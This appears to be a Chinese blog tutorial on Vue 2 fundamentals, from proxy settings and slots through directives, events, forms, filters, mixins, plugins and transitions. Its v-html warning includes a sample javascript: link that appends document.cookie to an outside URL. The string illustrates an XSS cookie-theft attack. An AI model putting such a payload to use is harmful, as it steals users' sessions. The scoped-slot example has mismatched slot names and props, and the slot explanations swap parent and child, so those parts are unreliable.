vue2基础知识点

301 阅读5分钟

代理服务器

假设本地请求地址是http://localhost:2023/api/pc/aboutUs/list

代理服务器如下,这个配置会帮助我们开启一个代理服务器

  //代理服务器
  server: {
    host:'0.0.0.0',
    port:2023,
    proxy: {
      '/api': {
        target: 'https://lishanghao.boyun.com.cn', //对应自己的接口
        changeOrigin: true,
        ws: true,
        rewrite:(path) => path.replace(/^\/api/,'/api')
      }
    }
  },
  • 接下来,代理服务器会去请求转发的服务器地址:

image.png

  • rewrite 解析

image.png

插槽

在Vue.js 2中,插槽是一种用于组件之间通信的机制。插槽允许我们将内容从父组件传递到子组件,并在子组件中进行渲染。

默认插槽

默认插槽是最基本的插槽类型,用于在子组件中接收父组件传递的内容。

父组件:

<template>
  <div>
    <child-component>
      <h1>这是默认插槽的内容</h1>
      <p>可以包含任意的HTML元素或组件</p>
    </child-component>
  </div>
</template>

<script>
import ChildComponent from "./ChildComponent.vue";

export default {
  components: {
    ChildComponent,
  },
};
</script>

子组件:

<template>
  <div>
    <slot>默认插槽</slot>
  </div>
</template>

在上面的例子中,父组件通过<slot></slot>定义了一个默认插槽,子组件会将父组件传递的内容渲染在<slot></slot>的位置。

具名插槽

具名插槽允许我们在子组件中定义多个插槽,并为每个插槽指定一个名称。

父组件:

<template>
  <div>
    <child-component>
      <template v-slot:title>
        <h1>这是标题插槽的内容</h1>
      </template>
      <template v-slot:content>
        <p>这是内容插槽的内容</p>
      </template>
    </child-component>
  </div>
</template>

<script>
import ChildComponent from "./ChildComponent.vue";

export default {
  components: {
    ChildComponent,
  },
};
</script>

子组件:

<template>
  <div>
    <slot name="title"></slot>
    <slot name="content"></slot>
  </div>
</template>

在上面的例子中,父组件通过<slot name="title"></slot><slot name="content"></slot>定义了两个具名插槽,子组件会根据插槽的名称将相应的内容渲染出来。

作用域插槽

作用域插槽,可以理解为,子组件数据由父组件提供,但是子组件内部决定不了自身结构

父组件:

<template>
  <div>
    <h1>插槽</h1>
    <Todo :todos="todos">
      <template slot-scope="{ $row, $index }">
        <!--父组件决定子组件的结构与外观-->
        <span :style="{ color: $row.done ? 'green' : 'red' }">{{$row.title}}</span>
      </template>
    </Todo>
  </div>
</template>

<script>
import Todo from "./Todo.vue";
export default {
  components: {
    Todo
  },
  data() {
    return {
      todos: [
        { id: 1, title: "吃饭", done: true },
        { id: 2, title: "睡觉", done: false },
        { id: 3, title: "打豆豆", done: true }
      ]
    };
  }
};
</script>

子组件:

<template>
  <div>
    <h1>todo</h1>
    <ul>
      <!--组件内部遍历数组-->
      <li v-for="(item, index) in todos" :key="item.id">
        <!--作用域插槽将数据回传给父组件-->
        <slot name="todo" :row="item" :index="index"></slot>
      </li>
    </ul>
  </div>
</template>

<script>
export default {
  props: ['todos']
};
</script>

指令

内置指令

v-text指令

  • 1.作用:向其所在的节点中渲染文本内容。
  • 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
            <div v-text="name"></div>
            <div v-text="str"></div>
            
            
            data:{
                    name:'尚硅谷',
                    str:'<h3>你好啊!</h3>'
            }

v-html指令

  • 1.作用:向指定节点中渲染包含html结构的内容。
  • 2.与插值语法的区别:

(1)v-html会替换掉节点中所有的内容,{{xx}}则不会。

(2)v-html可以识别html结构。

  • 3.严重注意:v-html有安全性问题!!!!

(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

        <div v-html="str"></div>
        <div v-html="str2"></div>
        
        data:{
                name:'尚硅谷',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        }
        

v-cloak指令

  • 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!-- 准备好一个容器-->

    <style>
            // 隐藏内容
            [v-cloak]{
                    display:none;
            }
    </style>
    
    <div id="root">
            <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    
    
    data:{
            name:'尚硅谷'
    }

v-once指令

  • 1.v-once所在节点在初次动态渲染后,就视为静态内容了。
  • 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
            <!-- 准备好一个容器-->
            <div id="root">
                    <h2 v-once>初始化的n值是:{{n}}</h2>
                    <h2>当前的n值是:{{n}}</h2>
                    <button @click="n++">点我n+1</button>
            </div>


            data:{
                    n:1
            }

v-pre指令

  • 1.跳过其所在节点的编译过程。
  • 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
            <!-- 准备好一个容器-->
            <div id="root">
                    // 跳过指令,跳过插值语法,加快编译
                    <h2 v-pre>Vue其实很简单</h2>
                    <h2 >当前的n值是:{{n}}</h2>
                    <button @click="n++">点我n+1</button>
            </div>


            data:{
                    n:1
            }

自定义指令

vue官方提供很多指令,如:v-model,v-show,v-if,v-if等,他们都以v-开头。当这些指令不能满足我们实际开发需求时,我们还可以自定义指令。自定义指令主要分为全局自定义指令和局部自定义指令。

1.全局注册自定义指令

// main.js文件中引入Vue并创建根实例之前添加如下代码
import Vue from 'vue'

// 自定义指令名为myDirective,使用bind钩子函数来处理元素被绑定时的操作
Vue.directive('myDirective', {

    bind(el, binding) {
    // el表示当前绑定了该指令的DOM元素
    // binding包含了指令相关信息,比如传入的参数等
    // 这里可以对DOM元素进行初始化设置、事件监听等操作
    },

    inserted(el, binding) {
    // DOM元素已经被插入到页面中后调用此钩子函数
    },

    update(el, binding) {
    // 当指令所在的模板重新渲染时会触发update钩子函数
    }

})

new Vue({
render: h => h(App),
}).$mount('#app')

2.组件内部注册自定义指令

<template>
    <div v-myDirective></div>
</template>

<script>
export default {
    directives: {
        myDirective: {
            bind(el, binding) {
            // 与上述全局注册类似,只不过这里将指令限制在特定组件内部生效
            // 这里可以对DOM元素进行初始化设置、事件监听等操作
            },

            inserted(el, binding) {
            // DOM元素已经被插入到页面中后调用此钩子函数
            },

            update(el, binding) {
            // 当指令所在的模板重新渲染时会触发update钩子函数
            }
        }
    }
}

</script>

数据绑定

单向数据绑定

数据只能从 data 流向页面

// 普通写法
<input type="text" v-bind:value="name">

// 简写
<input type="text" :value="name">

双向数据绑定

数据不仅能从 data 流向页面,还能从页面流向 data(页面数据变化,data里面的也会随之改变)

只能用于表单类元素,v-model:value 可以简写为v-model,因为v-model默认收集的就是value值

// 普通写法
<input type="text" v-model:value="name">

// 简写
<input type="text" v-model="name">

事件处理

事件的基本使用:

1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;

2.事件的回调需要配置在methods对象中,最终会在vm上;

3.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;

4.methods中配置的函数,不要用箭头函数!否则this就不是vm了;

5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;

// 不传参数,默认传event
<button @click="showInfo1">点我提示信息1(不传参)</button>   

// 传参数,隐含属性对象: $event
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
     const vm = new Vue({
            el:'#root',
            data:{
                    name:'尚硅谷',
            },
            methods:{
                    // 默认传event
                    showInfo1(event){
                            // console.log(event.target.innerText)
                            // console.log(this) //此处的this是vm
                            alert('同学你好!')
                    },
                    // 隐含属性对象: $event
                    showInfo2(event,number){
                            console.log(event,number)
                            alert('同学你好!!')
                    }
            }
    })

事件修饰符

1.prevent:阻止默认事件(常用)

<!-- 阻止默认事件(常用) -->
// 阻止了a标签的默认跳转事件
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

2.stop:阻止事件冒泡(常用)

只会触发一次showInfo事件

<!-- 阻止事件冒泡(常用) -->	
<div class="demo1" @click="showInfo">		
    <button @click="showInfo">点我提示信息</button>		
    <!-- 修饰符可以连续写 -->
    <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> 
</div>

3.once:事件只触发一次(常用)

<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>

4.capture:使用事件的捕获模式

点击div2时,先触发div1的showMsg,再触发div2的showMsg

<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">
                div2
        </div>
</div>

5.self:只有event.target是当前操作的元素时才触发事件

<!-- 只有event.target是当前操作的元素时才触发事件; -->
<div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
</div>

6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕

<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
<ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
</ul>

//  会立即执行滚动事件,不需要等待事件处理完
demo(){
        for (let i = 0; i < 100000; i++) {
                console.log('#')
        }
        console.log('累坏了')
}

键盘事件

image.png

键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而Vue还对一些常用按键起了别名方便使用

1.Vue中常用的按键别名:
        回车 => enter
        删除 => delete (捕获“删除”和“退格”键)
        退出 => esc
        空格 => space
        换行 => tab (特殊,必须配合keydown去使用)
        上 => up
        下 => down
        左 => left
        右 => right
        
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

3.系统修饰键(用法特殊):ctrl、alt、shift、meta
        (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
        (2).配合keydown使用:正常触发事件。
        
4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

绑定样式

class样式

写法:class="xxx" xxx可以是字符串、对象、数组。

  • 字符串写法适用于:类名不确定,要动态获取。

  • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。

  • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

    <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

    <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

    <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
    
    
            mood:'normal',
            classArr:['atguigu1','atguigu2','atguigu3'],
            classObj:{
                    atguigu1:false,
                    atguigu2:false,
            },
    

style样式

  • :style="{fontSize: xxx}"其中xxx是动态值。

  • :style="[a,b]"其中a、b是样式对象。

    <!-- 绑定style样式--对象写法 -->
    <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
    <!-- 绑定style样式--数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>
               
               styleObj:{
                        fontSize: '40px',
                        color:'red',
                },
                styleObj2:{
                        backgroundColor:'orange'
                },
                styleArr:[
                        {
                                fontSize: '40px',
                                color:'blue',
                        },
                        {
                                backgroundColor:'gray'
                        }
                ]

v-model 收集表单数据

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
    1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    2.配置input的value属性:
        (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
        (2)v-model的初始值是数组,那么收集的的就是value组成的数组

type="checkbox",v-model的初始值是数组,那么收集的的就是value组成的数组

image.png

备注:v-model的三个修饰符:

  •   lazy:失去焦点再收集数据
    
  •   number:输入字符串转为有效的数字
    
  •   trim:输入首尾空格过滤
    
    <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密码:<input type="password" v-model="userInfo.password"> <br/><br/>
        年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
        性别:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
        <button>提交</button>
    </form>
    
    
        data:{
                userInfo:{
                        account:'',
                        password:'',
                        age:18,
                        sex:'female',
                        hobby:[],
                        city:'beijing',
                        other:'',
                        agree:''
                }
        },
        methods: {
                demo(){
                        console.log(JSON.stringify(this.userInfo))
                }
        }

过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

  • 1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
  • 2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注:

  • 1.过滤器也可以接收额外参数、多个过滤器也可以串联
  • 2.并没有改变原本的数据, 是产生新的对应的数据
    <h1>filters的使用</h1>
    <!-- 过滤器实现 -->
    时间:<span>{{time | nameFormater}}</span> <br>
    <hr>
    <!-- 过滤器实现(传参) -->
    现在是:<span>{{time | nameFormater('YYYY-MM-DD')}}</span> <br>
    <hr>
    现在是:<span>{{time | nameFormater('YYYY-MM-DD') | mySlice}}</span> <br>
    <hr>
    <button @click="changeName">修改时间</button>
    
    
      data() {
        return {
          time: 1621561377603,
        };
      },
      filters: {
        nameFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
          return dayjs(value).format(str);
        },
        mySlice(value) {
          return value.slice(0, 4);
        },
      },
      methods: {
        changeName() {
          this.time += 101000000;
        },
      }

image.png

mixin 混入

1.功能: 可以把多个组件共用的配置提取成一个混入对象

2.使用方式:

  • 定义混入
export const mixin = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
  • 使用混入
  1. 全局混入 Vue.mixin(xxx)
  2. 局部混入 mixins:['xxx']

备注

1、组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先

image.png

2、同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用

image.png

plugin 插件(定义公用的过滤器,全局指令,全局混入等)

1.功能: 用于增强Vue

插件里面可以定义公用的过滤器,全局指令,全局混入等

image.png

export default {
	install(Vue,x,y,z){
		console.log(x,y,z)
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		//定义全局指令
		Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		//给Vue原型上添加一个方法(vm和vc就都能用了)
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

过度与动画

Vue封装的过度与动画:在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类

image.png

image.png

注意:

  • 使用包裹要过度的元素,并配置name属性,此时需要将上面样式名的v换为n

  • 要让页面一开始就显示动画,需要添加appear

动画案例:

    <template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition name="hello" appear>
			<h1 v-show="isShow">你好啊!</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}

	.hello-enter-active{
		animation: atguigu 0.5s linear;
	}

	.hello-leave-active{
		animation: atguigu 0.5s linear reverse;
	}

	@keyframes atguigu {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	}
</style>

备注:若有多个元素需要过度,则需要使用,且每个元素都要指定key

image.png

过渡案例:

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
	/* 进入的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}
	/* 进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}

</style>

el和data的两种写法

el的两种写法

(1)new Vue时候配置el属性。

(2)先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。

<div id="root">
    <h1>你好,{{ name }} </h1>
</div>
const v = new Vue({
    //el: '#root',   //第一种写法
    data: {
        name: '尚硅谷',
    }
})

v.$mount('#root')   //第二种写法

data的两种写法

在组件内使用对象式写法会报错,一定要使用函数式写法

一个重要的原则:由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。

//data的两种写法
    new Vue({
            el:'#root',
            //data的第一种写法:对象式
            /* data:{
                    name:'尚硅谷'
            } */

            //data的第二种写法:函数式
            data(){
                console.log('@@@',this) //此处的this是Vue实例对象
                return{
                        name:'尚硅谷'
                }
            }
    })